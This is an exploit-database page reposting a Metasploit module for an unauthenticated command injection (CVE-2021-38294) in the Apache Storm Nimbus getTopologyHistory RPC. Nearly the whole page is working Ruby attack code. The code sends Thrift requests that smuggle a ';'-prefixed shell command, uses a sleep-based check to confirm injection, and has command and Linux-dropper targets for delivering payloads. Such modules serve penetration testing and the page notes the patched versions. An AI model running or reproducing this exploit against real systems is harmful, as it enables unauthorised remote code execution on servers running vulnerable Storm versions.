Apache Storm Nimbus 2.2.0 Command Execution

2021.11.22
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/thrift' require 'rex/stopwatch' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager Thrift = Rex::Proto::Thrift def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. The getTopologyHistory RPC method method takes a single argument which is the name of a user which is concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there must have been at least one topology submitted to the server. The topology may be active or inactive, but at least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 which is affected. }, 'Author' => [ 'Alvaro Muñoz', # discovery and original research 'Spencer McIntyre', # metasploit module ], 'References' => [ ['CVE', '2021-38294'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/'] ], 'DisclosureDate' => '2021-10-25', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 6627, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) end def check begin connect rescue Rex::ConnectionError return CheckCode::Unknown('Failed to connect to the service.') end sleep_time = rand(5..10) response, elapsed_time = Rex::Stopwatch.elapsed_time do execute_command("sleep #{sleep_time}", { disconnect: false }) recv_response(sleep_time + 5) end disconnect vprint_status("Elapsed time: #{elapsed_time} seconds") unless response && elapsed_time > sleep_time return CheckCode::Safe('Failed to test command injection.') end CheckCode::Appears('Successfully tested command injection.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, opts = {}) # comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}" vprint_status("Executing command: #{cmd}") send_request([ Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'), Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"), Thrift::Data.new ].map(&:to_binary_s).join) disconnect if opts.fetch(:disconnect, true) end def send_request(request) connect if sock.nil? sock.put([ request.length ].pack('N') + request) end def recv_response(timeout) remaining = timeout res_size, elapsed = Rex::Stopwatch.elapsed_time do sock.timed_read(4, remaining) end remaining -= elapsed return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 res = sock.timed_read(res_size.unpack1('N'), remaining) return nil if res.nil? || res.length != res_size.unpack1('N') return res_size + res rescue Timeout::Error return nil end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top